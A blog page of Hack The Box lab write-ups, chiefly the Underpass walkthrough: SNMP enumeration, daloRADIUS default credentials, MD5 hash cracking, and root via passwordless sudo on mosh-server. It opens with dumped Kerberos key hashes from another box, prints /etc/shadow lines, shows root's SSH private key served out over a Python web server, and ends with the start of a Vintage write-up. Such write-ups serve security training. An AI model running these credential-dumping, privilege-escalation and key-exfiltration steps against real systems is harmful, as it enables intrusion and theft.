sequel.htb\michael:des-cbc-md5:86bc0b2c3b5b5eec
sequel.htb\ryan:aes256-cts-hmac-sha1-96:676bd0149bfc8f193967991eaec21fc0af77c2364c360f363507e3d647bca2a8
sequel.htb\ryan:aes128-cts-hmac-sha1-96:4fff4b149f767c81378c977d14c5070c
sequel.htb\ryan:des-cbc-md5:1929372c084fdcd0
sequel.htb\oscar:aes256-cts-hmac-sha1-96:d0497357f3dfcbdcd80878db9ea6829f556b5eb25b3f8cbbe0416ae0223577bf
sequel.htb\oscar:aes128-cts-hmac-sha1-96:f4856b529096b1dbf3a6037ae501ce23
sequel.htb\oscar:des-cbc-md5:102f08dfb3d0c71f
sequel.htb\sql_svc:aes256-cts-hmac-sha1-96:3e9f4068aa26eebec597f04014f93846c5bd9d5b47a6acc89f16dafda3d620db
sequel.htb\sql_svc:aes128-cts-hmac-sha1-96:c3cd53730282eea99772bceb78cdf485
sequel.htb\sql_svc:des-cbc-md5:9b1357d3aea186b6
sequel.htb\rose:aes256-cts-hmac-sha1-96:f904a8eccae44567647e727118655b0e83ba8055c873dc3060c8b2d6fbcc4660
sequel.htb\rose:aes128-cts-hmac-sha1-96:efe028112c8b1662dea3a876c3fae28a
sequel.htb\rose:des-cbc-md5:0d9b13cbf88aa44f
sequel.htb\ca_svc:aes256-cts-hmac-sha1-96:d820f67f11df4ac5d4e22e9aafb7c8f2c07ea7491f06b8569d712a6eb9cf8cea
sequel.htb\ca_svc:aes128-cts-hmac-sha1-96:42d45fb86f8b69ba9b66bc195412aa15
sequel.htb\ca_svc:des-cbc-md5:405b7f263723626b
DC01$:aes256-cts-hmac-sha1-96:cb5c43b6d92bb097d345a545f324f9caa4d6ef91c2f0267ecfc7ed76546a9df3
DC01$:aes128-cts-hmac-sha1-96:eef978409ad7a2a86eef37f48de21850
DC01$:des-cbc-md5:c7b908f27919a854
[*] Cleaning up...

HTB – Underpass

HTB – Underpass

by | May 10, 2025 | Writeups

https://www.hackthebox.com/machines/UnderPass

Reconnaissance

nmap/TCP

nmap finds two open TCP ports, SSH (22) and HTTP (80):

croc@hacker$ rustscan -a underpass.htb --ulimit 5000 -- -A -T5 -oA initial

Nmap scan report for underpass.htb (10.10.11.48)
Host is up, received conn-refused (0.30s latency).
Scanned at 2024-12-25 01:14:10 EST for 19s

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBK+kvbyNUglQLkP2Bp7QVhfp7EnRWMHVtM7xtxk34WU5s+lYksJ07/lmMpJN/bwey1SVpG0FAgL0C/+2r71XUEo=
|   256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ8XNCLFSIxMNibmm+q7mFtNDYzoGAJ/vDNa6MUjfU91
80/tcp open  http    syn-ack Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Based on the OpenSSH and Apache versions, the host is likely running Ubuntu jammy (22.04LTS).

Without valid credentials, SSH is not a viable entry point. Therefore, the primary attack surface is HTTP, where an Apache2 web server is running with a default page.

nmap/UDP

I usually also kick off a UDP Scan alongside the TCP Scan. Since UDP scans can be slow, I limited the scan to the top 50 ports to reduce the time taken.

nmap finds SNMP being open on port 161 which can be quite juicy!

croc@hacker$ sudo nmap -sU --top-ports 50 -T3 -oN UDPScan underpass.htb

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-25 01:17 EST
Nmap scan report for underpass.htb (10.10.11.48)
Host is up (0.27s latency).

PORT    STATE SERVICE
161/udp open  snmp

Nmap done: 1 IP address (1 host up) scanned in 51.12 seconds

Website – 80/TCP

Main Page

We have an apache default web page as we have already seen that in our scan:

Directory Busting

Directory enumeration did not reveal any notable findings. Most of the found directories are 403 and index.html where we have a 200 is not an unusual thing for an Apache Web Server.

croc@hacker$ gobuster dir -u http://underpass.htb -w /usr/share/wordlists/dirb/common.txt

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://underpass.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 10671]
/server-status        (Status: 403) [Size: 278]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

SNMP – 161/UDP

With such a limited attack surface, it’s worthwhile to explore UDP.

Finding the Community String

In order to interact with SNMP, a community string is required which functions as a password to authenticate us. It’s really common to have a community string of public for stuff that is meant to be public & it’s a good bet to start by guessing that. But, there’s also a tool called onesixtyone built-in into kali which tries a bunch of common community strings against a host. Let’s try running it:

croc@hacker$ onesixtyone 10.10.11.48 -c /usr/share/doc/onesixtyone/dict.txt
Scanning 1 hosts, 50 communities
10.10.11.48 [public] Linux underpass 5.15.0-126-generic 136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64

Utilizing the list of common community strings provided with the tool, we found out that our target host is indeed using public as the community string.

Another approach is to use the Nmap Scripting Engine (NSE) with the snmp-brute script to enumerate the community string.

croc@hacker:~$ sudo nmap -sU -p 161 --script=snmp-brute --min-rate 500 underpass.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 07:47 EST
Nmap scan report for underpass.htb (10.10.11.48)
Host is up (0.28s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-brute: 
|_  public - Valid credentials

Nmap done: 1 IP address (1 host up) scanned in 12.86 seconds

snmpbulkwalk/snmpwalk

We can utilize snmpwalk or snmpbulkwalk in order to enumerate SNMP. But before doing that, there’s one more thing to look into.

SNMP uses a hierarchical numbering scheme to label data it holds. There’s an addon package that converts it into a more readable format. We can set it up by apt install snmp-mibs-downloader and commenting out the following line in /etc/snmp/snmp.conf file:

Now, I used snmpbulkwalk to enumerate snmp using the community string of public. This revealed a username of steve@underpass.htb and the use of a daloradius server.

croc@hacker$ snmpbulkwalk -c public -v2c underpass.htb

SNMPv2-MIB::sysDescr.0 = STRING: Linux underpass 5.15.0-126-generic 136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
SNMPv2-MIB::sysObjectID.0 = OID: NET-SNMP-MIB::netSnmpAgentOIDs.10
DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (285355) 0:47:33.55
SNMPv2-MIB::sysContact.0 = STRING: steve@underpass.htb
SNMPv2-MIB::sysName.0 = STRING: UnDerPass.htb is the only daloradius server in the basin!
SNMPv2-MIB::sysLocation.0 = STRING: Nevada, U.S.A. but not Vegas
SNMPv2-MIB::sysServices.0 = INTEGER: 72
SNMPv2-MIB::sysORLastChange.0 = Timeticks: (5) 0:00:00.05
SNMPv2-MIB::sysORID.1 = OID: SNMP-FRAMEWORK-MIB::snmpFrameworkMIBCompliance
SNMPv2-MIB::sysORID.2 = OID: SNMP-MPD-MIB::snmpMPDCompliance
SNMPv2-MIB::sysORID.3 = OID: SNMP-USER-BASED-SM-MIB::usmMIBCompliance
SNMPv2-MIB::sysORID.4 = OID: SNMPv2-MIB::snmpMIB
SNMPv2-MIB::sysORID.5 = OID: SNMP-VIEW-BASED-ACM-MIB::vacmBasicGroup
SNMPv2-MIB::sysORID.6 = OID: TCP-MIB::tcpMIB
SNMPv2-MIB::sysORID.7 = OID: UDP-MIB::udpMIB
SNMPv2-MIB::sysORID.8 = OID: IP-MIB::ip
SNMPv2-MIB::sysORID.9 = OID: SNMP-NOTIFICATION-MIB::snmpNotifyFullCompliance
SNMPv2-MIB::sysORID.10 = OID: NOTIFICATION-LOG-MIB::notificationLogMIB
SNMPv2-MIB::sysORDescr.1 = STRING: The SNMP Management Architecture MIB.
SNMPv2-MIB::sysORDescr.2 = STRING: The MIB for Message Processing and Dispatching.
SNMPv2-MIB::sysORDescr.3 = STRING: The management information definitions for the SNMP User-based Security Model.
SNMPv2-MIB::sysORDescr.4 = STRING: The MIB module for SNMPv2 entities
SNMPv2-MIB::sysORDescr.5 = STRING: View-based Access Control Model for SNMP.
SNMPv2-MIB::sysORDescr.6 = STRING: The MIB module for managing TCP implementations
SNMPv2-MIB::sysORDescr.7 = STRING: The MIB module for managing UDP implementations
SNMPv2-MIB::sysORDescr.8 = STRING: The MIB module for managing IP and ICMP implementations
SNMPv2-MIB::sysORDescr.9 = STRING: The MIB modules for managing SNMP Notification, plus filtering.
SNMPv2-MIB::sysORDescr.10 = STRING: The MIB module for logging SNMP Notifications.

snmp-check

We can use snmp-check for that same purpose as well for more structured output:

croc@hacker$ snmp-check -c public -v 2c 10.10.11.48

snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)

[+] Try to connect to 10.10.11.48:161 using SNMPv2c and community 'public'

[*] System information:

  Host IP address               : 10.10.11.48
  Hostname                      : UnDerPass.htb is the only daloradius server in the basin!
  Description                   : Linux underpass 5.15.0-126-generic 136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
  Contact                       : steve@underpass.htb
  Location                      : Nevada, U.S.A. but not Vegas
  Uptime snmp                   : 02:09:58.97
  Uptime system                 : 02:09:45.95
  System date                   : 2025-1-2 02:36:45.0

[*] Network information:

  Default TTL                   : noSuchObject
  TCP segments received         : noSuchObject
  TCP segments sent             : noSuchObject
  TCP segments retrans          : noSuchObject
  Input datagrams               : noSuchObject
  Delivered datagrams           : noSuchObject
  Output datagrams              : noSuchObject

[*] File system information:

  Index                         : noSuchObject
  Mount point                   : noSuchObject
  Access                        : noSuchObject
  Bootable                      : noSuchObject

Now, what??

daloRADIUS is a web-based management interface for managing a RADIUS(Remote Authentication Dial-In User Service) Server but specifically it manages FreeRADIUS and it’s database structure, a widely used open-source RADIUS Server.

💡 Think Box

The mention of “daloradius” strongly suggests that the target has a RADIUS management service, likely running on the web server (port 80) we already have.

A Hunch, but Well-Thought

/daloradius

I got a 403 forbidden which tells me that this is most probably the root directory for daloradius web application.

Directory Brute Force

Let’s bust subdirectories for /daloradius and hope for the best:

croc@hacker$ sudo feroxbuster -u http://underpass.htb/daloradius -w /usr/share/seclists/Discovery/Web-Content/big.txt 
                                                                                                               
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.4
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://underpass.htb/daloradius
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/big.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.4
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      319c http://underpass.htb/daloradius => http://underpass.htb/daloradius/
200      GET      412l     3898w    24703c http://underpass.htb/daloradius/ChangeLog
200      GET      340l     2968w    18011c http://underpass.htb/daloradius/LICENSE
301      GET        9l       28w      323c http://underpass.htb/daloradius/app => http://underpass.htb/daloradius/app/
301      GET        9l       28w      327c http://underpass.htb/daloradius/contrib => http://underpass.htb/daloradius/contrib/
301      GET        9l       28w      323c http://underpass.htb/daloradius/doc => http://underpass.htb/daloradius/doc/
301      GET        9l       28w      330c http://underpass.htb/daloradius/app/common => http://underpass.htb/daloradius/app/common/
301      GET        9l       28w      330c http://underpass.htb/daloradius/contrib/db => http://underpass.htb/daloradius/contrib/db/
301      GET        9l       28w      327c http://underpass.htb/daloradius/library => http://underpass.htb/daloradius/library/
301      GET        9l       28w      325c http://underpass.htb/daloradius/setup => http://underpass.htb/daloradius/setup/
301      GET        9l       28w      331c http://underpass.htb/daloradius/doc/install => http://underpass.htb/daloradius/doc/install/
301      GET        9l       28w      333c http://underpass.htb/daloradius/app/operators => http://underpass.htb/daloradius/app/operators/
301      GET        9l       28w      339c http://underpass.htb/daloradius/app/common/includes => http://underpass.htb/daloradius/app/common/includes/
301      GET        9l       28w      338c http://underpass.htb/daloradius/app/common/library => http://underpass.htb/daloradius/app/common/library/
301      GET        9l       28w      335c http://underpass.htb/daloradius/contrib/scripts => http://underpass.htb/daloradius/contrib/scripts/
301      GET        9l       28w      340c http://underpass.htb/daloradius/app/common/templates => http://underpass.htb/daloradius/app/common/templates/
301      GET        9l       28w      341c http://underpass.htb/daloradius/app/operators/include => http://underpass.htb/daloradius/app/operators/include/
301      GET        9l       28w      338c http://underpass.htb/daloradius/app/operators/lang => http://underpass.htb/daloradius/app/operators/lang/
301      GET        9l       28w      341c http://underpass.htb/daloradius/app/operators/library => http://underpass.htb/daloradius/app/operators/library/
301      GET        9l       28w      347c http://underpass.htb/daloradius/app/operators/notifications => http://underpass.htb/daloradius/app/operators/notifications/
301      GET        9l       28w      348c http://underpass.htb/daloradius/app/operators/include/common => http://underpass.htb/daloradius/app/operators/include/common/
301      GET        9l       28w      348c http://underpass.htb/daloradius/app/operators/include/config => http://underpass.htb/daloradius/app/operators/include/config/
301      GET        9l       28w      347c http://underpass.htb/daloradius/contrib/scripts/maintenance => http://underpass.htb/daloradius/contrib/scripts/maintenance/
301      GET        9l       28w      340c http://underpass.htb/daloradius/app/operators/static => http://underpass.htb/daloradius/app/operators/static/
301      GET        9l       28w      352c http://underpass.htb/daloradius/app/operators/library/extensions => http://underpass.htb/daloradius/app/operators/library/extensions/
301      GET        9l       28w      352c http://underpass.htb/daloradius/app/operators/include/management => http://underpass.htb/daloradius/app/operators/include/management/
301      GET        9l       28w      346c http://underpass.htb/daloradius/app/operators/include/menu => http://underpass.htb/daloradius/app/operators/include/menu/
301      GET        9l       28w      344c http://underpass.htb/daloradius/app/operators/static/css => http://underpass.htb/daloradius/app/operators/static/css/
301      GET        9l       28w      355c http://underpass.htb/daloradius/contrib/scripts/maintenance/monitor => http://underpass.htb/daloradius/contrib/scripts/maintenance/monitor/
301      GET        9l       28w      347c http://underpass.htb/daloradius/app/operators/static/images => http://underpass.htb/daloradius/app/operators/static/images/
301      GET        9l       28w      348c http://underpass.htb/daloradius/app/operators/library/tables => http://underpass.htb/daloradius/app/operators/library/tables/
301      GET        9l       28w      357c http://underpass.htb/daloradius/app/operators/notifications/templates => http://underpass.htb/daloradius/app/operators/notifications/templates/
[####################] - 24m   409646/409646  0s      found:32      errors:66265  
[####################] - 8m     20477/20477   41/s    http://underpass.htb/daloradius/ 
[####################] - 10m    20477/20477   35/s    http://underpass.htb/daloradius/app/ 
[####################] - 9m     20477/20477   37/s    http://underpass.htb/daloradius/contrib/ 
[####################] - 10m    20477/20477   36/s    http://underpass.htb/daloradius/doc/ 
[####################] - 10m    20477/20477   33/s    http://underpass.htb/daloradius/app/common/ 
[####################] - 10m    20477/20477   33/s    http://underpass.htb/daloradius/contrib/db/ 
[####################] - 11m    20477/20477   31/s    http://underpass.htb/daloradius/library/ 
[####################] - 11m    20477/20477   31/s    http://underpass.htb/daloradius/setup/ 
[####################] - 13m    20477/20477   26/s    http://underpass.htb/daloradius/app/operators/ 
[####################] - 12m    20477/20477   28/s    http://underpass.htb/daloradius/doc/install/ 
[####################] - 13m    20477/20477   26/s    http://underpass.htb/daloradius/app/common/includes/ 
[####################] - 12m    20477/20477   28/s    http://underpass.htb/daloradius/app/common/library/ 
[####################] - 13m    20477/20477   27/s    http://underpass.htb/daloradius/contrib/scripts/ 
[####################] - 11m    20477/20477   30/s    http://underpass.htb/daloradius/app/common/templates/ 
[####################] - 11m    20477/20477   30/s    http://underpass.htb/daloradius/app/operators/include/ 
[####################] - 11m    20477/20477   32/s    http://underpass.htb/daloradius/app/operators/lang/ 
[####################] - 11m    20477/20477   32/s    http://underpass.htb/daloradius/app/operators/library/
Expand

/app/operators

Navigating to /daloradius/app/operators, I was redirected to the daloradius login page.

Something that I want you to note here is the difference between the version of the application listed here on the login page and the ChangeLog entry below:

Identifying the correct version is crucial while looking for exploits and CVEs. The version on the login page is certainly the most accurate in my opinion. However, it’s not required for solving this box.

Default Credentials

Whenever I see a login page, my first go-to is default credentials as they’re just too common. I found the following default credentials in the GitHub Repo:

I tried the default credentials and it worked flawlessly:

We have one user in the users list. I found a user named svcMosh with a what looks like a MD5 hashed password.

Shell as svcMosh

Hash Cracking

First of all, we must confirm the hash type using hash-identifier:

As it is possibly a MD5, let’s try to crack it:

croc@hacker$ hashcat -m 0 svcmosh_hash.txt /usr/share/wordlists/rockyou.txt

Hurrah!! We successfully cracked the password! Have some dance lol!

SSH

With ssh being open and a pair of credentials, we can try to gain initial access:

croc@hacker$ ssh svcMosh@10.10.11.48
svcMosh@10.10.11.48's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed Jan  1 04:31:04 PM UTC 2025

  System load:  0.05              Processes:             230
  Usage of /:   96.5% of 3.75GB   Users logged in:       1
  Memory usage: 17%               IPv4 address for eth0: 10.10.11.48
  Swap usage:   0%

  => / is using 96.5% of 3.75GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Wed Jan  1 16:21:17 2025 from 10.10.16.17
svcMosh@underpass:~$

Now, grab user.txt:

svcMosh@underpass:~$ ls
user.txt

svcMosh@underpass:~$ cat user.txt 
31955***************************

Shell as Root

Enumeration

The first things that I am looking into after gaining a foothold on a linux box are quick wins like history where there may be a password, sudo permissions or SUID/SGID Binaries.

Sudo Privileges

I found that the user svcMosh has passwordless sudo privileges to execute the /usr/bin/mosh-server command as any user, including root.

svcMosh@underpass:~$ sudo -l
Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

Mosh

Let’s start by understanding mosh.

In simple words, mosh is the modern replacement of SSH. Since SSH relies on the TCP protocol, which maintains a session bound to a specific IP address, it struggles with connectivity issues when switching networks or experiencing interruptions. Mosh addresses this limitation by using UDP and application-level sessions, ensuring a stable connection even during network changes.

Normally, if we have the target user’s password and mosh installed on the target device, we can just connect to it and it does everything for us. We can see this in action as well.

Install mosh on your Kali Machine by apt install mosh. Then, we can just connect as the svcMosh user because we have his password. 

croc@hacker:~$ mosh svcMosh@10.10.11.48
The authenticity of host '10.10.11.48 (<no hostip for proxy command>)' can't be established.
ED25519 key fingerprint is SHA256:zrDqCvZoLSy6MxBOPcuEyN926YtFC94ZCJ5TWRS0VaM.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.48' (ED25519) to the list of known hosts.
svcMosh@10.10.11.48's password:

What it will do is establish a session over SSH & run the mosh-server on the target. After the server starts, SSH disconnects, and the client switches to UDP for communication.

So, we got a shell as svcMosh user. But in order to do this for the root user, we need to have his password which we don’t have currently. So, we’ll take a different route which is the manual way of doing it.

Run the Mosh Server

Manually run the mosh-server on the target box. It will connect to a high UDP port on the local machine. As soon as the client connects to this port, it executes the user’s login shell. As we have sudo permissions over mosh-server, we can expect to get a shell as root user.

svcMosh@underpass:~$ sudo mosh-server


MOSH CONNECT 60001 6odTyvz2KOIVZuV8fym5uw

mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 1359]

If you want to, you can also specify a port of your own choice using the new argument:

svcMosh@underpass:~$ sudo mosh-server new -p 9005


MOSH CONNECT 9005 +4f+MTlmKWXtgliNPRoexA

mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 1498]

Connect through Mosh Client

6odTyvz2KOIVZuV8fym5uw is our base64-encoded cryptographic key while 60001 is the port.

svcMosh@underpass:~$ MOSH_KEY=6odTyvz2KOIVZuV8fym5uw mosh-client 127.0.0.1 60001

And, we got root! Congratulations(to me of course 😂)!

Time-sensitive Connection Requirement

Now, make sure that you connect to the mosh-server within 60 seconds of running it. Otherwise, the server will go down automatically & you will see the following error while connecting using mosh-client:

root.txt

root@underpass:~# ls
root.txt

root@underpass:~# cat root.txt 
8fff7***************************

Post Root

We got the root flag but the shell is really unstable as I am not even able to scroll up. Let’s look for other ways!

Failed Attempt

Cracking the Root Hash

We have read access to the /etc/shadow so I thought to try cracking the root hash.(Although that proved to be a dumb idea!)

root@underpass:~# head -n 4 /etc/shadow
root:$y$j9T$y6GVl9yuguP9lhnKmS04c.$pzmkCXRNa/BCrMpnOUxIWUbVR905YSEHwW20O40wEaA:20057:0:99999:7:::
daemon:*:19103:0:99999:7:::/cod
bin:*:19103:0:99999:7:::
sys:*:19103:0:99999:7:::

The $y$ specifies the Yescrypt algorithm which is an advanced hashing algorithm designed to provide enhanced security and performance. Hashcat doesn’t support yescrypt so, I used john to crack this hash.

However, this was going extremely slow so I aborted the session.

croc@hacker$ john --format=crypt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/64])
Remaining 1 password hash
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:08 0.00% (ETA: 2025-01-05 10:33) 0g/s 66.28p/s 66.28c/s 66.28C/s evelyn..kelly
0g 0:00:09:51 0.24% (ETA: 2025-01-05 18:40) 0g/s 71.06p/s 71.06c/s 71.06C/s iloveabby..dragon23
0g 0:00:17:57 0.46% (ETA: 2025-01-05 16:20) 0g/s 73.24p/s 73.24c/s 73.24C/s ilovenicky..harekrishna
0g 0:00:20:14 0.54% (ETA: 2025-01-05 14:08) 0g/s 75.65p/s 75.65c/s 75.65C/s peaches15..ninety
0g 0:00:29:23 0.75% (ETA: 2025-01-05 16:50) 0g/s 72.24p/s 72.24c/s 72.24C/s 190203..151718
0g 0:00:29:25 0.75% (ETA: 2025-01-05 16:48) 0g/s 72.26p/s 72.26c/s 72.26C/s 130303..12041986
Session aborted

SSH Private Key

id_rsa

I found a ssh id_rsa private key in the /root/.ssh directory and I copied it to the current directory. Next, I spined up a python web server in the same directory:

root@underpass:~# find / -name id_rsa 2> /dev/null
/home/svcMosh/.ssh/id_rsa
/root/.ssh/id_rsa
root@underpass:~# cp /root/.ssh/id_rsa .
root@underpass:~# ls
id_rsa  root.txt
root@underpass:~# python3 -m http.server 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

I transferred it to my own machine:

Shell Access via SSH

croc@hacker$ sudo ssh -i id_rsa root@10.10.11.48     
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-126-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Fri Jan  3 04:32:04 AM UTC 2025

  System load:  0.05              Processes:             233
  Usage of /:   85.7% of 3.75GB   Users logged in:       2
  Memory usage: 15%               IPv4 address for eth0: 10.10.11.48
  Swap usage:   0%

  => / is using 85.7% of 3.75GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Dec 19 13:40:29 2024
root@underpass:~#

HTB – Vintage

HTB – Vintage

by | Apr 26, 2025 | Writeups

https://www.hackthebox.com/machines/vintage

Reconnaissance

Given Credentials

As it is common in real life windows pentests, we’re given a set of credentials to start:

P.Rosa / Rosaisbest123

nmap/TCP

nmap detected a bunch of open ports which is typical for a Domain Controller:

croc@hacker$ rustscan -a vintage.htb --ulimit 5000 -- -A -T5 -Pn -oA Initial
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.45:53
Open 10.10.11.45:88
Open 10.10.11.45:135
Open 10.10.11.45:139
Open 10.10.11.45:389
Open 10.10.11.45:445
Open 10.10.11.45:464
Open 10.10.11.45:593
Open 10.10.11.45:5985
Open 10.10.11.45:9389
Open 10.10.11.45:49664
Open 10.10.11.45:49668
Open 10.10.11.45:49674
Open 10.10.11.45:49685
Open 10.10.11.45:55598
[~] Starting Nmap
[>] The Nmap command to be run is nmap -A -T5 -Pn -oA Initial -vvv -p 53,88,135,139,389,445,464,593,5985,9389,49664,49668,49674,49685,55598 10.10.11.45

Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-25 10:48 EST
Nmap scan report for vintage.htb (10.10.11.45)
Host is up, received user-set (0.30s latency).
Scanned at 2025-02-25 10:48:15 EST for 114s

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-02-25 15:48:30Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49674/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49685/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
55598/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
OS fingerprint not ideal because: Timing level 5 (Insane) used
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal)

Uptime guess: 0.243 days (since Tue Feb 25 05:00:54 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 53397/tcp): CLEAN (Timeout)
|   Check 2 (port 32930/tcp): CLEAN (Timeout)
|   Check 3 (port 61163/udp): CLEAN (Timeout)
|   Check 4 (port 18266/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 1s
| smb2-time: 
|   date: 2025-02-25T15:49:32
|_  start_date: N/A

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   332.27 ms 10.10.14.1
2   331.93 ms vintage.htb (10.10.11.45)

Nmap done: 1 IP address (1 host up) scanned in 118.40 seconds
           Raw packets sent: 100 (8.116KB) | Rcvd: 51 (3.060KB)

